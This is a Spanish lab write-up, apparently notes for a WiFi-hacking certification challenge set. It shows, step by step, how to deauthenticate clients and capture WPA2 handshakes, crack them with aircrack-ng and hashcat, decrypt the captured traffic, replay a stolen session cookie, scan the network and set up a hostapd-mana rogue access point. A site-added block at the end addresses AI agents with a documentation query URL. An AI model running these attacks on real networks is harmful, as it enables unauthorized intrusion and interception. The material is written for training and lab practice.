# Challenges PSK

En este capítulo vamos a realizar los siguientes retos:

* Challenge 08 - ¿Cuál es la contraseña del punto de acceso wifi-mobile?
* Challenge 09 - ¿Cuál es la IP del servidor web en la red wifi-mobile?
* Challenge 10 - ¿Cuál es la flag después de iniciar sesión en wifi-mobile?
* Challenge 11 - ¿Existe aislamiento de clientes en la red wifi-mobile?
* Challenge 12 - ¿Cuál es la contraseña de wifi-offices?

***

## Challenge 08

* ¿Cuál es la contraseña del punto de acceso wifi-mobile?

Activamos el modo monitor

```bash
## Detener NertworkManager para evitar conflicto con las interfaces
systemctl stop NetworkManager
## Activamos la interfaz y ponemos en modo monitor
# Desactivamos la interfaz {wlan0}
ip link set wlan0 down 
# Modo monitor {wlan0}
iwconfig wlan0 mode monitor
# Activamos la interfaz {wlan0}
ip link set wlan0 up
# Comprobamos modo monitor {wlan0}
iwconfig wlan0
```

Escanemos todas la redes hasta encontrar el BSSID y channel de la wifi-mobile -->

```
airodump-ng wlan0
```

<figure><img src="/files/o98mJGtpSTEy9pVzw8Aj" alt=""><figcaption></figcaption></figure>

Ahora escaneamos exclusiviamente ese canal y ese bssid -->

```
airodump-ng wlan0 --band bag -c 6 --bssid F0:9F:C2:71:22:12 -w /home/user/wifi/PSK/wifi-mobile
```

<figure><img src="/files/u5hpCcgSzQsryx9JxM4i" alt=""><figcaption></figcaption></figure>

Para obtener el handshake, debemos esperar a que un cliente se autentifique solo a la red, o hacer un ataque de des autentificación -->

### Espera del handshake

<figure><img src="/files/qc7DQY1ebRrqCHip2pN2" alt=""><figcaption></figcaption></figure>

### Ataque de des autentificación

```
aireplay-ng -0 10 -a F0:9F:C2:71:22:12 -c 28:6C:07:6F:F9:43 wlan0
```

* `-0 10` : 10 siendo la cantidad de paquetes que queremos mandar para des autentificar
* `-a` : El BSSID de la red / wifi-mobile
* `-c` : La MAC de un usuario conectado a esa red

<figure><img src="/files/lYlVxaVCv7AQSXqYVJS2" alt=""><figcaption></figcaption></figure>

> TAMBIEN se puede hacer sin especificar la MAC "-c" para des autentificar a todo los usuarios de la red, solo que algunos AP da problemas: `aireplay-ng -0 10 -a F0:9F:C2:71:22:12 wlan0`

Ahora vemos que en la seccion `NOTES : EAPOL` por que tenemos el handshake de esos usuarios

<figure><img src="/files/hy0Ee3WYyfThMDi0W05N" alt=""><figcaption></figcaption></figure>

Utilizamos `aircrack-ng` para romper la contraseña del `handshake`, previamente habiendo capturado el trafico con `airodump-ng` -->

```
aircrack-ng -w /root/rockyou-top100000.txt wifi-mobile-02.cap
```

<figure><img src="/files/pqZ8JOOb96lt1fxtUrn9" alt=""><figcaption></figcaption></figure>

***

## Challenge 09

* ¿Cuál es la IP del servidor web en la red wifi-mobile?

Tras tener la clave de la wifi y el handshake, podemos descifrar todo el trafico previamente recogido y verlo con `airdecap-ng` -->

```
airdecap-ng -e wifi-mobile -p starwars1 wifi-mobile-02.cap
```

* `-e` : Nombre de la wifi/bssid
* `-p` : Contraseña crackeada
* `.cap` : Trafico y handshake capturado

<figure><img src="/files/G4EXMejBtiN4pDoPPRVT" alt=""><figcaption></figcaption></figure>

> Vemos que se ha `descifrado 5402 paquetes` y este nuevo archivo descifrado se guarda como
>
> `-dec`

Ahora abrimos con wireshark para leer le trafico:

```
wireshark wifi-mobile-02-dec.cap
```

<figure><img src="/files/zEsrdIHVvrK8YC3kr0Hv" alt=""><figcaption></figcaption></figure>

Vemos mucho trafico TCP y entre ello, conexiones a la `192.168.2.1` (siendo este el servidor/router)

<figure><img src="/files/7sY0FJXZwLJkh1Ny30XW" alt=""><figcaption></figcaption></figure>

Viendo asi el panel de login del router y como un usaurio esta dentro con un COOKIE seteada

***

## Challenge 10

* ¿Cuál es la flag después de iniciar sesión en wifi-mobile?

Ahora sabieno la ip y la cookie, solo nos queda conectarnos con wpa\_supplicant y lo configuramos con la info del AP para conectarnos -->

```
## Creamos el archivo wpa_supplicant
nano wifi-mobile.conf
## Configuramos
network={
        ssid="wifi-mobile"
        psk="starwars1"
        scan_ssid=1
        key_mgmt=WPA-PSK
        proto=WPA2
}
## Nos conectamos con wpa_supplicant a la red
wpa_supplicant -i wlan2 -c wifi-mobile.conf
```

<figure><img src="/files/uhvWqN4UG4cl8A8DIzWC" alt=""><figcaption></figcaption></figure>

Ahora utilizamos `dhclient` para obtener IP -->

```
dhclient -v wlan2
```

<figure><img src="/files/H5lWeD0Wl9PBFKKKSIKc" alt=""><figcaption></figcaption></figure>

Apuntamos a la web `192.168.2.1:80` desde el navegador -->

<figure><img src="/files/bbMLrNebJHtUO9DOfbOJ" alt=""><figcaption></figcaption></figure>

No tenemos usuario y contraseña pero si una `COOKIE` de session obtenida con el wireshark, que modificamos, reemplazamos y reinicamos la web -->

<figure><img src="/files/9ae9348Jk9NPlJ97w71Z" alt=""><figcaption></figcaption></figure>

> Esto funciona porla la cookie en la web esta mal configurada con un `HttpOnly=false`

<figure><img src="/files/IwoossiHeEYFg09VpbKH" alt=""><figcaption></figcaption></figure>

***

## Challenge 11

* ¿Existe aislamiento de clientes en la red wifi-mobile?

Para saber esto, una vez conetados, podemos lanzar un escaneo a la red con arp-scan para ver los equipos conectados:

```
arp-scan -I wlan2 -l
```

<figure><img src="/files/IoSvVTb3dccjNPrXnLEM" alt=""><figcaption></figcaption></figure>

Ahora podemos lanzar un nmap al `192.168.2.7` para ver que puertos tiene abiertos -->

```
nmap -p- --open -sS 192.168.2.7 -n -Pn
############################################
PORT   STATE SERVICE
80/tcp open  http
```

Ahora siendo que tiene una web por detrás, podemos hacer un `curl` o ir directamente del el `navegador`:

<figure><img src="/files/Tcs1w1eZVJhBKkWxSRc6" alt=""><figcaption></figcaption></figure>

***

## Challenge 12

* ¿Cuál es la contraseña de wifi-offices?

Al escanear los APs, vemos que existen dos usuarios conectados una `wifi-officies`, pero no vemos el `AP` ni su `BSSID` -->

<figure><img src="/files/RuHrYILNHwpSDCVy79kO" alt=""><figcaption></figcaption></figure>

Asi que podemos hacer un ataque de `NO AP`, con `hostapd-mana`

### Hostapd-mana

<pre class="language-bash"><code class="lang-bash">## Creamos un fichero de hostapd
nano wifi-offices-hostapd.conf
## Configuramos
<strong>interface=wlan1
</strong>driver=nl80211
hw_mode=g
channel=1
ssid=wifi-offices
mana_wpaout=hostapd.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678
## Ejecutamos hostapd-mana
hostapd-mana wifi-offices-hostapd.conf
</code></pre>

<figure><img src="/files/oNVeGHDYxkU9HVnxu5TH" alt=""><figcaption></figcaption></figure>

Con esto obtenemos el handshake de dos usuarios conectados. Y ahora podemos coger solo el hash con `awk` -->

```
cat hostapd.hccapx | awk '{print $3}' > wifi-offices-hostapd.22000
```

<figure><img src="/files/Zb4uzvKaDE5DBNALgE4Q" alt=""><figcaption></figcaption></figure>

Ahora en formato `22000`, podemos pasarselo a `hashcat` para crackear la contraseña -->

<pre><code><strong>hashcat -a 0 -m 22000 wifi-offices-hostapd.22000 /root/rockyou-top100000.txt --force
</strong></code></pre>

<figure><img src="/files/cKU2bQ9BDfBvlIy1VNpp" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/certifications/eastereggs/cwp-certified-wifichallenge-professional/capitulo-5.4-ataques-wi-fi-psk-pre-shared-key/challenges-psk.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
